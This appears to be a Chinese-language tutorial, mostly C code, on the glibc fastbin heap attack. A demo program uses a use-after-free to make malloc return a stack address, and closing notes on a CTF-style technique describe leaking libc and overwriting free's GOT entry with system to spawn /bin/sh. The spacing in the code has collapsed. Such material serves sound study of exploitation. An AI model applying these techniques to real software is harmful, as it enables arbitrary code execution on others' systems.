由于快速 Bin 是一个单链表，与其他 Bin 相比，保护措施要少得多，只需修改释放的快速 Bin 块中的地址就足以在任何内存地址后分配一个块。
总结如下：
ptr0 =malloc(0x20);ptr1 =malloc(0x20);// Put them in fast bin (suppose tcache is full)free(ptr0)free(ptr1)// Use-after-free// Modify the address where the free chunk of ptr1 is pointing*ptr1 = (unsignedlong)((char*)&<address>);ptr2 =malloc(0x20); // This will get ptr1ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it
#include<stdio.h>#include<string.h>#include<stdlib.h>intmain(void){puts("Today we will be discussing a fastbin attack.");puts("There are 10 fastbins, which act as linked lists (they're separated by size).");puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");puts("Let's start, we will allocate three chunks of size 0x30\n");unsignedlong*ptr0,*ptr1,*ptr2;ptr0 =malloc(0x30);ptr1 =malloc(0x30);ptr2 =malloc(0x30);printf("Chunk 0: %p\n", ptr0);printf("Chunk 1: %p\n", ptr1);printf("Chunk 2: %p\n\n", ptr2);printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");
int stackVar =0x55;printf("Integer: %x\t @: %p\n\n", stackVar,&stackVar);printf("Proceeding that I'm going to write just some data to the three heap chunks\n");char*data0 ="00000000";char*data1 ="11111111";char*data2 ="22222222";memcpy(ptr0, data0,0x8);memcpy(ptr1, data1,0x8);memcpy(ptr2, data2,0x8);printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");
printf("Chunk 0: %s\n", (char*)ptr0);printf("Chunk 1: %s\n", (char*)ptr1);printf("Chunk 2: %s\n\n", (char*)ptr2);printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");
free(ptr0);free(ptr1);free(ptr2);printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0,*ptr0);printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1,*ptr1);printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2,*ptr2);printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");
printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");
*ptr1 = (unsignedlong)((char*)&stackVar);printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1,*ptr1);printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");
unsignedlong*ptr3,*ptr4,*ptr5;ptr3 =malloc(0x30);ptr4 =malloc(0x30);ptr5 =malloc(0x30);printf("Chunk 3: %p\n", ptr3);printf("Chunk 4: %p\n", ptr4);printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");}
如果可以覆盖全局变量 global_max_fast 的值为一个大数，这将允许生成更大尺寸的 fast bin chunks，潜在地允许在以前不可能的情况下执行 fast bin 攻击。这种情况在 large bin attack 和 unsorted bin attack 的情境中非常有用。
Libc info leak: 只需释放一些块，它们将获得指向主要 arena 位置的指针。由于可以重用已释放的指针，只需读取此地址即可。
Fast bin attack: 所有分配的指针都存储在一个数组中，因此我们可以释放几个 fast bin 块，在最后一个块中覆盖地址，指向这些指针数组之前的位置。然后，分配几个相同大小的块，我们将首先获得合法的块，然后获得包含指针数组的伪造块。现在可以覆盖此分配指针，使得 free 的 GOT 地址指向 system，然后在块 1 中写入 "/bin/sh"，然后调用 free(chunk1)，而不是执行 system("/bin/sh")。
